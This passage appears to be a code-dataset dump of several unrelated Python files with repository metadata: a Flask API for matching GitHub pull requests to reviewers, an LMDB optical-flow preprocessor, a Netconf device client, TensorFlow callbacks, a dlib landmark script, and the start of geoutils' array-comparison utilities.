0c53cdf843b202efa7d0e7a3fcbcb0a7bc7f0b0b
[ "Apache-2.0" ]
null
null
null
api.py
gitroulette/gitroulette
0c53cdf843b202efa7d0e7a3fcbcb0a7bc7f0b0b
[ "Apache-2.0" ]
null
null
null
import json import random from flask import Blueprint from flask import request from flask import session from sqlalchemy import and_ from sqlalchemy import or_ from urlparse import urlparse # from flask import current_app from gitRoulette import auth from gitRoulette import models from gitRoulette.utils import request_utils api = Blueprint('api', __name__) db = models.db @api.route('/new_for_review', methods=['POST']) @auth.login_required def new_for_review(): if request.method == 'POST': req_data = json.loads(request.data) language_list = request_utils.get_url_languages( req_data['url'], session['github_token'][0]).keys() # FIXME: change name to description in post request # FIXME: change time to be taken on the server entry = models.Url(name=req_data['name'], url=req_data['url'], github_user=req_data['github_user']) for l in language_list: language = models.Language(language=l, url=entry) db.session.add(language) db.session.add(entry) db.session.commit() return str(entry.id) @api.route('/remove_from_list', methods=['POST']) @auth.login_required def remove_from_queue(): req_data = json.loads(request.data) url = models.Url.query.filter( and_(models.Url.github_user == session['github_user'], models.Url.name == req_data['name'])).first() languages = url.languages.all() for language in languages: db.session.delete(language) db.session.delete(url) db.session.commit() return "test" @api.route('/new_something', methods=['POST']) @auth.login_required def new_something(): if request.method == 'POST': req_data = json.loads(request.data) github_user = models.GitUser.query.filter_by( github_user=req_data['github_user']).first() if github_user is None: return "no user" # checks if user is trying to add to himself elif req_data['github_user'] == session['github_user']: return "cannot add to yourself" else: something = github_user.somethings.filter_by( comment_id=req_data['comment_id']).first() if something is None: something = models.Something(comment_id=req_data['comment_id'], gituser=github_user) db.session.add(something) db.session.commit() return "test" @api.route('/somethings_by_url_id/<url_id>', methods=['GET']) @auth.login_required def somethings_by_url_id(url_id): # TODO: maybe we need this for something url = models.Url.query.filter_by(id=url_id).first() somethings = [s.comment_id for s in url.somethings.all()] return json.dumps({"somethings": somethings}) @api.route('/somethings_by_username/<username>', methods=['GET']) @auth.login_required def somethings_by_username(username): github_user = models.GitUser.query.filter_by(github_user=username).first() somethings = [s.comment_id for s in github_user.somethings.all()] print(somethings) return json.dumps({"somethings": somethings}) @api.route('/languages_by_url_id/<url_id>', methods=['GET']) @auth.login_required def languages_by_url_id(url_id): url = models.Url.query.filter_by(id=url_id).first() languages = url.languages.all() language_list = [l.language for l in languages] ret_val = {"languages": language_list} return json.dumps(ret_val) @api.route('/new_github_user', methods=['POST']) @auth.login_required def new_github_user(): # TODO: modify so that a user can add/remove/replace skills; # TODO: case: no skills on github.. # TODO: add a dropdown with common skills. if request.method == 'POST': req_data = json.loads(request.data) gituser = models.GitUser.query.filter_by( github_user=session['github_user']).first() if gituser is None: gituser = models.GitUser(github_user=session['github_user']) db.session.add(gituser) for skill in req_data['skills']: _s = models.Skill(skill=skill, gituser=gituser) db.session.add(_s) db.session.commit() return "success" @api.route('/comments_by_url_id/<url_id>') @auth.login_required def comments_by_url_id(url_id): # FIXME: at the moment we only take pulls comments, no issues. # issues will show comments in "conversation" too. # Should we do another request if entry_type is pull? url = models.Url.query.filter_by(id=url_id).first() pathArray = urlparse(url.url).path.split('/') github_user = pathArray[1] project = pathArray[2] entry_type = pathArray[3] entry_id = pathArray[4] endpoint = 'repos/' + github_user + "/" + project + "/" endpoint += entry_type + "s/" + entry_id + "/comments" comments = auth.github.get(endpoint) # the response has nothing to do with the url_id restructure. # needs work. we need a better standard def lmbd(comment): comment.update({'url_name': url.name, 'url_id': url.id}) return json.dumps( {project: [lmbd(comment) or comment for comment in comments.data]}) @api.route('/decline_comment', methods=['POST']) @auth.login_required def decline_comment(): req_data = json.loads(request.data) url = models.Url.query.filter_by(id=req_data["url_id"]).first() pathArray = urlparse(url.url).path.split('/') github_user = pathArray[1] project = pathArray[2] entry_type = pathArray[3] entry_id = pathArray[4] endpoint = 'repos/' + github_user + "/" + project + "/" endpoint += entry_type + "s/" + entry_id + "/comments" post_data = {'body': 'No thanks!', 'in_reply_to': int(req_data["comment_id"])} headers = {'Accept': 'application/json', 'Content-Type': 'application/json; charset=utf-8'} resp = auth.github.post(endpoint, data=post_data, headers=headers, format='json') return json.dumps({"response": resp.data}) @api.route('/skills_by_username/<github_user>', methods=['GET']) @auth.login_required def skills_by_username(github_user): endpoint = "/users/" + github_user + "/repos" repos = auth.github.get(endpoint).data languages = [language for repo in repos for language in request_utils.get_url_languages( repo["html_url"], session['github_token'][0]).keys()] print(languages) return json.dumps(list(set(languages))) @api.route('/saved_skills_by_username/<github_user>', methods=['GET']) @auth.login_required def saved_skills_by_username(github_user): user = models.GitUser.query.filter_by(github_user=github_user).first() skills = user.skills.all() skills_list = [s.skill for s in skills] return json.dumps(list(set(skills_list))) @api.route('/urls_by_username/<github_user>', methods=['GET']) @auth.login_required def saved_urls_by_username(github_user): urls = models.Url.query.filter_by(github_user=github_user).all() existing_urls = [] for url in urls: entry = {'id': url.id, 'name': url.name, 'url': url.url, 'github_user': url.github_user} existing_urls.append(entry) return json.dumps(existing_urls) @api.route('/url_to_review', methods=['GET']) @auth.login_required def url_to_review(): user = models.GitUser.query.filter_by(github_user=session['github_user']).first() skills = user.skills.all() # We need to have atleast one condition otherwise the query will return all. if len(skills) == 0: return '' conditions = [getattr(models.Language, 'language').ilike('%{}%'.format(s.skill)) for s in skills] q = models.Language.query.filter(or_(*conditions)).distinct(models.Language.url_id) language_entries = q.all() random_url_id = random.choice(language_entries).url_id url = models.Url.query.filter_by(id=random_url_id).first() return str(url.url)
32.15873
101
0.659057
0
0
0
0
7,686
0.948421
0
0
1,690
0.208539
b0ddf344239a48edf5e77538da1c1fa89461c624
1,556
py
Python
translator/logger.py
dNationCloud/jsonnet-translator
94d9d1b56d21a357fcab8adc555aa4630234d19c
[ "Apache-2.0" ]
7
2021-04-14T11:30:03.000Z
2021-05-17T11:26:50.000Z
translator/logger.py
dNationCloud/jsonnet-translator
94d9d1b56d21a357fcab8adc555aa4630234d19c
[ "Apache-2.0" ]
10
2021-01-14T07:18:55.000Z
2021-10-01T12:56:39.000Z
translator/logger.py
dNationCloud/kubernetes-jsonnet-translator
94d9d1b56d21a357fcab8adc555aa4630234d19c
[ "Apache-2.0" ]
null
null
null
# # Copyright 2020 The dNation Jsonnet Translator Authors. All Rights Reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import logging import logging.handlers import sys from pythonjsonlogger import jsonlogger LOGGER_NAME = "translator" LOG_FORMAT = "%(asctime)s - [%(levelname)-5s] - %(message)s" FORMATTER = { "default": logging.Formatter(LOG_FORMAT), "json": jsonlogger.JsonFormatter(LOG_FORMAT), } def get_logger(): return logging.getLogger(LOGGER_NAME) def get_console_handler(formatter): console_handler = logging.StreamHandler(sys.stdout) console_handler.setFormatter(formatter) return console_handler def set_logger(level, format): """Sets the threshold for the logger to defined level and format Args: level (str): Logger threshold. format (str): Logger format. Return: None """ formatter = FORMATTER[format] logger = logging.getLogger(LOGGER_NAME) logger.setLevel(level) logger.addHandler(get_console_handler(formatter)) logger.propagate = False
27.785714
77
0.737147
0
0
0
0
0
0
0
0
869
0.558483
b0de787d9d796dd2d84865af0e45d3952304b306
5,663
py
Python
models/test2/scripts/lmdb_data.py
Mehuli-Ruh11/Flownet_v1
17d517416a24f396a21e36e35e73abeb857451d2
[ "BSD-2-Clause" ]
130
2016-10-28T18:37:14.000Z
2022-03-29T03:24:31.000Z
models/test2/scripts/lmdb_data.py
Mehuli-Ruh11/Flownet_v1
17d517416a24f396a21e36e35e73abeb857451d2
[ "BSD-2-Clause" ]
34
2016-09-30T14:35:11.000Z
2019-01-06T12:02:17.000Z
models/test2/scripts/lmdb_data.py
Mehuli-Ruh11/Flownet_v1
17d517416a24f396a21e36e35e73abeb857451d2
[ "BSD-2-Clause" ]
73
2016-06-24T10:51:51.000Z
2020-12-22T11:21:40.000Z
import numpy as np import caffe import flowlib as fl import os import lmdb from PIL import Image VERBOSE = 0 SUBPIXELFACTOR = 4 MIN_FLOW = -4.18505 THRESHOLD = 1e8 PATCH_SIZE = 'FULL' def data2lmdb(): # define image and ground truth file train_imagefile1 = 'data/Urban3/frame10.png' # specify 1st image file train_imagefile2 = 'data/Urban3/frame11.png' # specify 2nd image file train_labelfile = 'gt/Urban3/flow10.flo' # specify label file test_imagefile1 = 'data/Grove2/frame10.png' # specify 1st image file test_imagefile2 = 'data/Grove2/frame11.png' # sepcify 2nd image file test_labelfile = 'gt/Grove2/flow10.flo' # specify test label file # preprocessing train_images = preprocess_image(train_imagefile1, train_imagefile2) train_labels, max_label= preprocess_label(train_labelfile) print("Maximum number of class in training set is: ", max_label + 1) # Testing data test_images = preprocess_image(test_imagefile1, test_imagefile2) test_labels, test_max_label = preprocess_label(test_labelfile) print("Maximum number of class in testing set is: ", test_max_label + 1) ## TRAINING # read image db = lmdb.open('train-image-lmdb-full', map_size=int(1e12)) with db.begin(write=True) as txn: for i in range(len(train_images)): image_data = caffe.io.array_to_datum(train_images[i]) txn.put('{:08}'.format(i), image_data.SerializeToString()) db.close() # read label db = lmdb.open('train-label-lmdb-full', map_size=int(1e12)) with db.begin(write=True) as txn: for i in range(len(train_labels)): label_data = caffe.io.array_to_datum(train_labels[i]) txn.put('{:08}'.format(i), label_data.SerializeToString()) db.close() ## TESTING # read image db = lmdb.open('test-image-lmdb-full', map_size=int(1e12)) with db.begin(write=True) as txn: for i in range(len(test_images)): image_data = caffe.io.array_to_datum(test_images[i]) txn.put('{:08}'.format(i), image_data.SerializeToString()) db.close() # read label db = lmdb.open('test-label-lmdb-full', map_size=int(1e12)) with db.begin(write=True) as txn: for i in range(len(test_labels)): label_data = caffe.io.array_to_datum(test_labels[i]) txn.put('{:08}'.format(i), label_data.SerializeToString()) db.close() def preprocess_data(path, mode): if mode == 'label': folders = os.listdir(path) folders.sort() for folder in folders: labelfile = os.path.join('gt', folder, 'flow10.flo') labels, max_label = preprocess_label(p) def preprocess_image(imagefile1, imagefile2): # read image file img1 = Image.open(imagefile1) img2 = Image.open(imagefile2) # Convert image file to array im1 = np.array(img1) im2 = np.array(img2) # RGB to BGR for caffe im1 = im1[:, :, ::-1] im2 = im2[:, :, ::-1] # Concatenate img = np.concatenate((im1, im2), axis=2) # Convert to caffe blob img = img.transpose((2,0,1)) # Segment image into smaller patches images = [] # check if patch size is compitible to the input image height, width = img.shape[1], img.shape[2] if PATCH_SIZE == 'FULL': images.append(img) else: if height%PATCH_SIZE != 0 or width%PATCH_SIZE != 0: raise else: for i in range(0, height/PATCH_SIZE): for j in range(0, width/PATCH_SIZE): im = img[:, PATCH_SIZE*i:PATCH_SIZE*(i+1), PATCH_SIZE*j:PATCH_SIZE*(j+1)] images.append(im) return images def preprocess_label(labelfile): # init max_label = -1 labels = [] # read flow file flow = fl.read_flow(labelfile) height, width = flow.shape[0], flow.shape[1] # TODO: processing vector u, horizontal flow only # label patch : 32 x 32 # ground truth map size : 388 x 584 (12 x 18 patches) # seperate GT map into patches if PATCH_SIZE == 'FULL': label, max_label = flow2label(flow[:, :, 0], SUBPIXELFACTOR) labels.append(label) else: if height%PATCH_SIZE != 0 or width%PATCH_SIZE != 0: raise else: for i in range(0, height/PATCH_SIZE): for j in range(0, width/PATCH_SIZE): patch = flow[PATCH_SIZE*i:PATCH_SIZE*(i+1),PATCH_SIZE*j:PATCH_SIZE*(j+1),0] u = np.array(patch) # find largest displacement label, largest_label = flow2label(u, SUBPIXELFACTOR) labels.append(label) if largest_label > max_label: max_label = largest_label return labels, max_label def flow2label(flow, subpixel_factor): # security check if len(flow.shape) > 2: raise # unknown flow, occlusion idx = (abs(flow) > THRESHOLD) flow[idx] = 0 # Convert flow to one direction flow_nonnegtive = flow + abs(MIN_FLOW) flow_nonnegtive[idx] = 0 # discretize flow at subpixel level label = np.floor(flow_nonnegtive * subpixel_factor) label = label.astype(np.uint8) # get the largest label max_label = max(-999, np.max(label)) print("maximum label is: ", max_label) # convert to caffe format label = np.expand_dims(label, axis=0) return label, max_label def find_max_min_flow(flow): # security check if len(flow.shape) > 2: raise # unknown flow, occlusion idx = (abs(flow) > THRESHOLD) flow[idx] = 0 max_flow = max(-999, np.max(flow)) min_flow = min(999, np.min(flow)) if VERBOSE: print 'max_flow: ', max_flow print 'min_flow: ', min_flow return max_flow, min_flow def read_lmdb(database_file): """ Read lmdb data return content and shape """ db = lmdb.open(database_file, readonly=True) with db.begin() as txn: raw_data = txn.get(b'00000000') # get the first key value datum = caffe.proto.caffe_pb2.Datum() datum.ParseFromString(raw_data) # convert string type data to actual data # content now is a Nx1 array content = np.fromstring(datum.data, dtype=np.uint8) shape = [datum.channels, datum.height, datum.width] return content, shape
27.357488
80
0.707046
0
0
0
0
0
0
0
0
1,464
0.25852
b0df7d5ad0499addaf0ae1570bc27728fffba61b
778
py
Python
configs/_base_/det_datasets/pool_icdar2013_icdar2015.py
andrgje/mmocr
26963dcf56b6cc842d097617a9dc1688b01fcaed
[ "Apache-2.0" ]
null
null
null
configs/_base_/det_datasets/pool_icdar2013_icdar2015.py
andrgje/mmocr
26963dcf56b6cc842d097617a9dc1688b01fcaed
[ "Apache-2.0" ]
null
null
null
configs/_base_/det_datasets/pool_icdar2013_icdar2015.py
andrgje/mmocr
26963dcf56b6cc842d097617a9dc1688b01fcaed
[ "Apache-2.0" ]
null
null
null
dataset_type1 = 'IcdarDataset' data_root1 = 'data/icdar15' train1 = dict( type=dataset_type1, ann_file=f'{data_root1}/instances_training.json', img_prefix=f'{data_root1}/imgs', pipeline=None) test1 = dict( type=dataset_type1, ann_file=f'{data_root1}/instances_validation.json', img_prefix=f'{data_root1}/imgs', pipeline=None) dataset_type2 = 'IcdarDataset' data_root2 = 'data/icdar13' train2 = dict( type=dataset_type2, ann_file=f'{data_root2}/instances_training.json', img_prefix=f'{data_root2}/imgs', pipeline=None) test2 = dict( type=dataset_type2, ann_file=f'{data_root2}/instances_validation.json', img_prefix=f'{data_root2}/imgs', pipeline=None) train_list = [train1,train2] test_list = [test1,test2]
22.882353
55
0.713368
0
0
0
0
0
0
0
0
296
0.380463
b0e1dfb1774454a45bec65b7f4f0e603d7f1da9e
13,580
py
Python
lib/Protocol/EmNetconfProtocol.py
multi-service-fabric/element-manager
e550d1b5ec9419f1fb3eb6e058ce46b57c92ee2f
[ "Apache-2.0" ]
null
null
null
lib/Protocol/EmNetconfProtocol.py
multi-service-fabric/element-manager
e550d1b5ec9419f1fb3eb6e058ce46b57c92ee2f
[ "Apache-2.0" ]
null
null
null
lib/Protocol/EmNetconfProtocol.py
multi-service-fabric/element-manager
e550d1b5ec9419f1fb3eb6e058ce46b57c92ee2f
[ "Apache-2.0" ]
1
2020-04-02T01:17:43.000Z
2020-04-02T01:17:43.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright(c) 2019 Nippon Telegraph and Telephone Corporation # Filename: EmNetconfProtocol.py ''' Protocol processing section (Netconf) ''' import traceback import time import json from ncclient import manager from ncclient import operations import GlobalModule import EmNetconfClient from EmCommonLog import decorater_log from EmCommonLog import decorater_log_in_out class EmNetconfProtocol(object): ''' Protocol processing section (Netconf) class ''' __CONNECT_OK = 1 __CONNECT_CAPABILITY_NG = 2 __CONNECT_NO_RESPONSE = 3 @decorater_log_in_out def connect_device(self, device_info): ''' Device connection control Conduct SSH connection to applicable device as request information. Explanation about parameter: device_info: Device information Platform name OS Firm version Login ID Password IPv4 address for management Prefix of IPv4 address for management Device information to be used for ncclient. (to be set only when necessary) Port No. to be used for ncclient. (to be set only when necessary) Explanation about return value: Connection result : int (1:Normal, 2: Capability Abnormal 3:No response) ''' parse_json = json.loads(device_info) device_info_dict = parse_json["device_info"] self.__device_ip = device_info_dict["mgmt_if_address"] username = device_info_dict["username"] password = device_info_dict["password"] device_info = device_info_dict.get("device_info") port_number = device_info_dict.get("port_number") if device_info is not None: device_params = {'name': str(device_info)} else: device_params = None GlobalModule.EM_LOGGER.debug("device_params = %s", device_params) if port_number is None: port_number = 830 GlobalModule.EM_LOGGER.debug("port_number = %s", port_number) result, timer_protocol = GlobalModule.EM_CONFIG.\ read_sys_common_conf("Timer_netconf_protocol") if result is not True: timeout_val = 60 GlobalModule.EM_LOGGER.debug( "Netconf Protocol Timer default Setting: %s", timeout_val) else: timeout_val = timer_protocol / 1000 GlobalModule.EM_LOGGER.debug( "Netconf Protocol Timer: %s", timeout_val) result, timer_connection = GlobalModule.EM_CONFIG.\ read_sys_common_conf("Timer_connection_retry") if result is not True: retrytimer_val = 5 GlobalModule.EM_LOGGER.debug( "Connection Retry Timer default Setting: %s", retrytimer_val) else: retrytimer_val = timer_connection / 1000.0 GlobalModule.EM_LOGGER.debug( "Connection Retry Timer: %s", retrytimer_val) result, retry_num = GlobalModule.EM_CONFIG.\ read_sys_common_conf("Connection_retry_num") if result is not True: retry_num_val = 5 GlobalModule.EM_LOGGER.debug( "Connection Retry Num default Setting: %s", retry_num_val) else: retry_num_val = retry_num GlobalModule.EM_LOGGER.debug( "Connection Retry Num: %s", retry_num_val) for count in range(retry_num_val): try: self.__connection = EmNetconfClient.connect_ssh( host=self.__device_ip, port=port_number, username=username, password=password, timeout=timeout_val, hostkey_verify=False, device_params=device_params, device_info=device_info_dict) break except Exception as exception: GlobalModule.EM_LOGGER.debug( "Connect Error:%s", str(type(exception))) GlobalModule.EM_LOGGER.debug( "Connect Error args: %s", str(exception.args)) GlobalModule.EM_LOGGER.debug(traceback.format_exc()) GlobalModule.EM_LOGGER.debug( "Connection Wait Counter: %s", count) time.sleep(retrytimer_val) if count < (retry_num_val - 1): continue return self.__CONNECT_NO_RESPONSE device_capability_list = self.__connection.server_capabilities GlobalModule.EM_LOGGER.debug( "device_capability_list: %s", device_capability_list) capability_judge = False for cap in self.__capability_list: for device_cap in device_capability_list: if cap == device_cap: capability_judge = True if capability_judge is not True: GlobalModule.EM_LOGGER.debug( "Connect Error:exceptions.MissingCapabilityError") return self.__CONNECT_CAPABILITY_NG self.__connection.raise_mode = operations.RaiseMode.NONE GlobalModule.EM_LOGGER.info("107001 SSH Connection Open for %s", self.__device_ip) return self.__CONNECT_OK @decorater_log_in_out def send_control_signal(self, message_type, send_message): ''' Transmit device control signal Transmit Netconf to device and returns response signal. Explanation about parameter: message_type: Message type(response message) discard-changes validate lock unlock get-config edit-config confirmed-commit commit send_message: Send message get-config:XML format (<config></config>) edit-config:XML format (<config></config>) Not necessary in case of other message types. Explanation about return value: Send result : boolean (True:Normal,False:Abnormal) REsponse signal : str (Netconf response signal (Returns "NetconfSendOK" to return value 1 when rpc-error is received successfully.)) ''' is_judg_result, judg_message_type = self.__judg_control_signal( message_type) GlobalModule.EM_LOGGER.debug("__send_signal_judg:%s", is_judg_result) GlobalModule.EM_LOGGER.debug("judg_message_type:%s", judg_message_type) if is_judg_result is False: GlobalModule.EM_LOGGER.debug("__send_signal_judg NG") return False, None GlobalModule.EM_LOGGER.debug("__send_signal_judg OK") try: if judg_message_type == "get_config": GlobalModule.EM_LOGGER.debug("judg_message_type:get_config") GlobalModule.EM_LOGGER.debug( "send_message: %s", send_message) receive_message = self.__connection.get_config( source='running', filter=('subtree', send_message)).data_xml GlobalModule.EM_LOGGER.debug( "receive_message: %s", receive_message) GlobalModule.EM_LOGGER.debug( "receive_message type: %s", type(receive_message)) elif judg_message_type == "edit_config": GlobalModule.EM_LOGGER.debug("judg_message_type:edit_config") GlobalModule.EM_LOGGER.debug( "send_message: %s", send_message) receive_message = self.__connection.edit_config( config=send_message).xml GlobalModule.EM_LOGGER.debug( "receive_message: %s", receive_message) GlobalModule.EM_LOGGER.debug( "receive_message type: %s", type(receive_message)) elif judg_message_type == "confirmed_commit": GlobalModule.EM_LOGGER.debug( "judg_message_type:confirmed_commit") is_send_result, return_value = \ GlobalModule.EM_CONFIG.read_sys_common_conf( "Timer_confirmed-commit") GlobalModule.EM_LOGGER.debug("read_sys_common:%s", is_send_result) if is_send_result is False: GlobalModule.EM_LOGGER.debug("read_sys_common NG") return False, None GlobalModule.EM_LOGGER.debug("read_sys_common OK") GlobalModule.EM_LOGGER.debug("return_value:%s", return_value) return_value = return_value / 1000 receive_message = self.__connection.commit( confirmed=True, timeout=str(return_value)).xml GlobalModule.EM_LOGGER.debug( "receive_message: %s", receive_message) GlobalModule.EM_LOGGER.debug( "receive_message type: %s", type(receive_message)) else: GlobalModule.EM_LOGGER.debug("judg_message_type:%s", judg_message_type) try: method = getattr(self.__connection, judg_message_type) receive_message = method().xml GlobalModule.EM_LOGGER.debug( "receive_message: %s", receive_message) GlobalModule.EM_LOGGER.debug( "receive_message type: %s", type(receive_message)) except AttributeError: GlobalModule.EM_LOGGER.debug("AttributeError:%s", judg_message_type) return False, None GlobalModule.EM_LOGGER.info("107003 Sending %s to %s", message_type, self.__device_ip) except Exception as exception: GlobalModule.EM_LOGGER.warning( "207005 protocol %s Sending Error", message_type) GlobalModule.EM_LOGGER.debug( "Sending Error:%s", str(type(exception))) return False, None GlobalModule.EM_LOGGER.info("107002 Receiving rpc-reply from %s", self.__device_ip) return True, receive_message @decorater_log_in_out def disconnect_device(self): ''' Device disconnection control Disconnect from the device. Explanation about parameter: None Explanation about return value: Judgment result : boolean (True:Normal,False:Abnormal) ''' try: self.__connection.close_session() except Exception as exception: GlobalModule.EM_LOGGER.debug( "Disconnect Error:%s", str(type(exception))) return False GlobalModule.EM_LOGGER.info("107004 SSH Connection Closed for %s", self.__device_ip) return True @decorater_log def __init__(self): ''' Constructor ''' self.__connection = None self.__device_ip = None self.__capability_list = \ ('urn:ietf:params:netconf:base:1.0', 'urn:ietf:params:netconf:base:1.1') @decorater_log def __judg_control_signal(self, message_type): ''' Control signal judgment Make judgment on the message to be sent based on the message type. Explanation about parameter: message_type: Message type (response message) discard-changes validate lock unlock get-config edit-config confirmed-commit commit Explanation about return value: Judgment result : boolean (True:Normal,False:Abnormal) Judgment message type : str ''' message_list = ["discard-changes", "validate", "lock", "unlock", "get-config", "edit-config", "confirmed-commit", "commit"] GlobalModule.EM_LOGGER.debug("message_type:%s", message_type) if message_type in message_list: GlobalModule.EM_LOGGER.debug("message_type Match") judg_message_type = message_type.replace('-', '_') return True, judg_message_type GlobalModule.EM_LOGGER.debug("message_type UNMatch") return False, None
37.513812
80
0.546318
13,142
0.967747
0
0
12,915
0.951031
0
0
4,838
0.356259
b0e21640f79315d5678d2b1eb1562ded16d33050
1,935
py
Python
policy/openbot/callbacks.py
januxnet/OpenBot
04768161a552281e1e14acde98589a64628b86c7
[ "MIT" ]
1,971
2020-08-24T22:24:24.000Z
2021-07-24T18:43:39.000Z
policy/openbot/callbacks.py
FlorentGuinier/OpenBot
087b1c89fd61ee5e644a0b042c9e5f25540caeae
[ "MIT" ]
145
2020-08-26T23:00:28.000Z
2021-07-26T22:00:06.000Z
policy/openbot/callbacks.py
FlorentGuinier/OpenBot
087b1c89fd61ee5e644a0b042c9e5f25540caeae
[ "MIT" ]
342
2020-08-26T10:39:43.000Z
2021-07-26T12:12:10.000Z
# Created by Matthias Mueller - Intel Intelligent Systems Lab - 2020 import os import tensorflow as tf def checkpoint_cb(checkpoint_path, steps_per_epoch=-1, num_epochs=10): # Create a callback that saves the model's weights every epochs checkpoint_callback = tf.keras.callbacks.ModelCheckpoint( filepath=os.path.join(checkpoint_path, "cp-{epoch:04d}.ckpt"), monitor="val_loss", verbose=0, save_best_only=False, save_weights_only=False, mode="auto", save_freq="epoch" if steps_per_epoch < 0 else int(num_epochs * steps_per_epoch), ) return checkpoint_callback def tensorboard_cb(log_path): tensorboard_callback = tf.keras.callbacks.TensorBoard( log_dir=log_path, histogram_freq=0, write_graph=True, write_images=True, update_freq="epoch", profile_batch=2, embeddings_freq=0, embeddings_metadata=None, ) return tensorboard_callback def logger_cb(log_path, append=False): logger_callback = tf.keras.callbacks.CSVLogger( os.path.join(log_path, "log.csv"), append=append ) return logger_callback def early_stopping_cb(): early_stopping_callback = tf.keras.callbacks.EarlyStopping( monitor="val_loss", min_delta=0, patience=20, verbose=0, mode="auto", baseline=None, restore_best_weights=False, ) return early_stopping_callback def reduce_lr_cb(): reduce_lr_callback = tf.keras.callbacks.ReduceLROnPlateau( monitor="val_loss", factor=0.3, patience=2, min_lr=0.0001 ) return reduce_lr_callback def lr_schedule_cb(): return tf.keras.callbacks.LearningRateScheduler(scheduler) # This function defines a custom learning schedule. def scheduler(epoch): if epoch < 10: return 0.0002 elif epoch < 20: return 0.0001 else: return 0.00005
26.148649
88
0.67907
0
0
0
0
0
0
0
0
268
0.138501
b0e2cf5bd2ba70f93247b07879264830fda0661a
856
py
Python
generate_landmarks.py
PandaWhoCodes/chutya_rating
88f73e37c517c1d68ebf518b40cf93667f39991b
[ "MIT" ]
null
null
null
generate_landmarks.py
PandaWhoCodes/chutya_rating
88f73e37c517c1d68ebf518b40cf93667f39991b
[ "MIT" ]
null
null
null
generate_landmarks.py
PandaWhoCodes/chutya_rating
88f73e37c517c1d68ebf518b40cf93667f39991b
[ "MIT" ]
null
null
null
import sys import os import dlib import glob from skimage import io predictor_path = "data/shape_predictor_68_face_landmarks.dat" faces_folder_path = "data/pics" detector = dlib.get_frontal_face_detector() predictor = dlib.shape_predictor(predictor_path) def sortKeyFunc(s): return int(os.path.basename(s)[:-4]) my_glob = glob.glob(os.path.join(faces_folder_path, "*.jpg")) my_glob.sort(key=sortKeyFunc) print(my_glob) for f in my_glob: print("Processing file: {}".format(f)) img = io.imread(f) dets = detector(img, 1) for k, d in enumerate(dets): shape = predictor(img, d) file_write = "" for i in range(0, 68): file_write += str(shape.part(i).x) + ", " + str(shape.part(i).y) + ", " with open("data/landmarks.txt", "a") as f: f.write(file_write) f.write("\n")
25.939394
83
0.647196
0
0
0
0
0
0
0
0
120
0.140187
b0e46a90af345235275bf125d7191b762e1c076e
6,530
py
Python
geoutils/misc.py
erikmannerfelt/GeoUtils
96a044f7cca73f936e5b245a5e99e0d2102d279f
[ "BSD-3-Clause" ]
23
2020-11-11T11:00:45.000Z
2022-03-28T07:06:56.000Z
geoutils/misc.py
erikmannerfelt/GeoUtils
96a044f7cca73f936e5b245a5e99e0d2102d279f
[ "BSD-3-Clause" ]
223
2020-11-11T14:34:51.000Z
2022-03-31T14:14:58.000Z
geoutils/misc.py
erikmannerfelt/GeoUtils
96a044f7cca73f936e5b245a5e99e0d2102d279f
[ "BSD-3-Clause" ]
14
2021-02-19T09:57:46.000Z
2022-03-21T09:49:12.000Z
"""Miscellaneous functions, mainly for testing.""" from __future__ import annotations import functools import warnings import numpy as np import rasterio as rio import geoutils from geoutils._typing import ArrayLike from geoutils.georaster import Raster, RasterType def array_equal( array1: RasterType | ArrayLike, array2: RasterType | ArrayLike, equal_nan: bool = True, tolerance: float = 0.0, ) -> bool: """ Check if two arrays or Rasters are equal. This function mirrors (and partly uses) 'np.array_equal' with these exceptions: 1. Different dtypes are okay as long as they are equal (e.g. '1 == 1.0' is True) 2. Rasters are directly comparable. 3. masked_array masks are respected. 4. A tolerance argument is added. 5. The function works with numpy<=1.18. :param array1: The first array-like object to compare. :param array2: The second array-like object to compare. :param equal_nan: Whether to compare NaNs as equal ('NaN == NaN' is True) :param tolerance: The maximum allowed summed difference between the arrays. Examples: Any object that can be parsed as an array can be compared. >>> arr1 = [1, 2, 3] >>> arr2 = np.array([1., 2., 3.]) >>> array_equal(arr1, arr2) True Nans are equal by default, but can be disabled with 'equal_nan=False' >>> arr3 = np.array([1., 2., np.nan]) >>> array_equal(arr1, arr3) False >>> array_equal(arr3, arr3.copy()) True >>> array_equal(arr3, arr3, equal_nan=False) False The equality tolerance can be set with the 'tolerance' argument (defaults to 0). >>> arr4 = np.array([1., 2., 3.1]) >>> array_equal(arr1, arr4) False >>> array_equal(arr1, arr4, tolerance=0.2) True Masks in masked_arrays are respected. >>> arr5 = np.ma.masked_array(arr1, [False, False, True]) >>> array_equal(arr1, arr5) False >>> array_equal(arr3, arr5) True >>> array_equal(arr3, arr5, equal_nan=False) False """ arrays: list[np.ndarray] = [] strings_compared = False # Flag to handle string arrays instead of numeric # Convert both inputs to numpy ndarrays for arr in array1, array2: if any(s in np.dtype(type(np.asanyarray(arr)[0])).name for s in ("<U", "str")): strings_compared = True if isinstance(arr, Raster): # If a Raster subclass, take its data. I don't know why mypy complains here! arr = arr.data # type: ignore if isinstance(arr, np.ma.masked_array): # If a masked_array, replace the masked values with nans if "float" not in np.dtype(arr.dtype).name: arr = arr.astype(float) arrays.append(arr.filled(np.nan)) # type: ignore else: arrays.append(np.asarray(arr)) if np.shape(arrays[0]) != np.shape(arrays[1]): return False if strings_compared: # If they are strings, the tolerance/nan handling is irrelevant. return bool(np.array_equal(arrays[0], arrays[1])) diff = np.diff(arrays, axis=0) if "float" in np.dtype(diff.dtype).name and np.any(~np.isfinite(diff)): # Check that the nan-mask is equal. If it's not, or nans are not allowed at all, return False if not equal_nan or not np.array_equal(np.isfinite(arrays[0]), np.isfinite(arrays[1])): return False return bool(np.nansum(np.abs(diff)) <= tolerance) def deprecate(removal_version: str | None = None, details: str | None = None): # type: ignore """ Trigger a DeprecationWarning for the decorated function. :param func: The function to be deprecated. :param removal_version: Optional. The version at which this will be removed. If this version is reached, a ValueError is raised. :param details: Optional. A description for why the function was deprecated. :triggers DeprecationWarning: For any call to the function. :raises ValueError: If 'removal_version' was given and the current version is equal or higher. :returns: The decorator to decorate the function. """ def deprecator_func(func): # type: ignore @functools.wraps(func) def new_func(*args, **kwargs): # type: ignore # True if it should warn, False if it should raise an error should_warn = 